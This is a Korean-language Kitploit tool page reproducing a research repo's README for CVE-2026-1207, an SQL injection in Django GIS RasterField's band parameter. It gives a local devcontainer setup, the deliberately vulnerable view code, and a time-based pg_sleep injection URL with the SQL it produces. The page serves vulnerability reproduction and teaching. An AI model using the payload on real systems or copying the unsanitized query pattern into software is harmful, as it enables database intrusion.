Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-1207 — Django 프레임워크에서 PostGIS로 지리 래스터(raster) 데이터를 쿼리할 때, 검증되지 않은 사용자 입력을 band index(밴드 인덱스) 매개변수로 직접 사용하면 SQL 인젝션이 발생합니다. | Kitploit
도구/GitHubGitHub/sw0rd1ight/cve-2026-1207
Vulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & Education
GitHubsw0rd1ight/cve-2026-1207

CVE-2026-1207

Django 프레임워크에서 PostGIS로 지리 래스터(raster) 데이터를 쿼리할 때, 검증되지 않은 사용자 입력을 band index(밴드 인덱스) 매개변수로 직접 사용하면 SQL 인젝션이 발생합니다.

저장소 보기
34개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-1207 Django GIS RasterField SQL 인젝션 취약점 재현

취약점 개요

취약점 유형: SQL 인젝션 (SQL Injection) 영향 컴포넌트: django.contrib.gis RasterField

Django GIS의 RasterField를 사용하여 쿼리를 수행할 때, band 매개변수가 SQL 문에 직접 연결되어 SQL 인젝션 취약점이 발생합니다. 공격자는 악의적인 band 매개변수 값을 구성하여 임의의 SQL 코드를 주입할 수 있습니다.

프로젝트 구조

root@kitploit:~
CVE-2026-1207/
├── .devcontainer/     # VSCode DevContainer 설정
├── .vscode/           # VSCode 설정
├── vuln/             # 취약점 데모 애플리케이션
│   ├── models.py     # RasterField를 포함한 모델
│   ├── views.py      # 취약점 트리거 지점
│   └── migrations/   # 데이터베이스 마이그레이션 파일
├── web/              # Django 프로젝트 설정
├── manage.py
├── README.md

환경 시작

이 취약점 프로젝트는 VSCode의 devcontainer를 사용하여 구축됩니다.

1️⃣ 프로젝트 열기

VS Code로 기존 프로젝트 루트 디렉터리(.devcontainer 폴더 포함)를 엽니다.

2️⃣ 컨테이너 다시 열기 (Dev Container 구축)

Ctrl+Shift+P(Windows/Linux) 또는 Cmd+Shift+P(Mac)를 누릅니다.

Remote-Containers: Reopen in Container를 입력합니다.

VS Code가 .devcontainer 설정을 읽고 컨테이너를 구축합니다(최초 구축은 몇 분이 걸릴 수 있습니다).

⚠️ Dockerfile 또는 종속성이 업데이트된 경우 Remote-Containers: Rebuild Container를 선택하여 최신 환경을 사용할 수 있습니다.

3️⃣ Django 개발 서버 실행

명령 팔레트 Ctrl+Shift+P를 엽니다.

Tasks: Run Task를 입력합니다.

django:start를 선택합니다(작업은 .vscode/tasks.json에 이미 구성되어 있습니다).

이 작업은 컨테이너 내에서 Django 개발 서버를 시작합니다.

기본적으로 0.0.0.0:8087을 수신합니다.

4️⃣ 브라우저에서 프로젝트 접속

브라우저를 열고 다음 주소에 접속합니다:

root@kitploit:~
http://localhost:8087

5️⃣ 주의사항

최초 실행 시 데이터베이스 마이그레이션을 수행해야 할 수 있습니다:

root@kitploit:~
python manage.py migrate

취약점 재현

취약점 분석 상세 내용은 다음에 게시되었습니다. 先知https://xz.aliyun.com/news/91993

微信公众号https://mp.weixin.qq.com/s/p7EZRKZBp-mRGhYqyc8i3A

POC: 지연 인젝션

다음 URL에 접속하여 SQL 인젝션을 트리거합니다:

root@kitploit:~
http://localhost:8087/book/search?band=1);select%20%271%27||pg_sleep(3)%20--

응답 시간을 관찰하면, 정상 요청은 즉시 반환되고 인젝션 요청은 약 3초 지연됩니다.

취약점 코드 위치

vuln/views.py:36

root@kitploit:~
def get(self, request: HttpRequest):
    band = request.GET.get("band", 1)  # ← 필터링되지 않은 사용자 입력
    rast = GDALRaster(...)
    qs = RasterModel.objects.filter(rast__contains=(rast, band))  # ← band가 쿼리에 직접 전달됨
    print(qs.query)  # ← 생성된 SQL 확인
    qs.count()
    return HttpResponse("book app")

생성된 SQL (인젝션 후)

root@kitploit:~
SELECT ... FROM vuln_rastermodel
WHERE ST_Contains("vuln_rastermodel"."rast", ST_ContainsParam(..., 1);select '1'||pg_sleep(3) --))

면책 조항

이 프로젝트는 보안 연구 및 교육 목적으로만 제공됩니다. 승인되지 않은 시스템에서 사용하지 마십시오.

도구 다운로드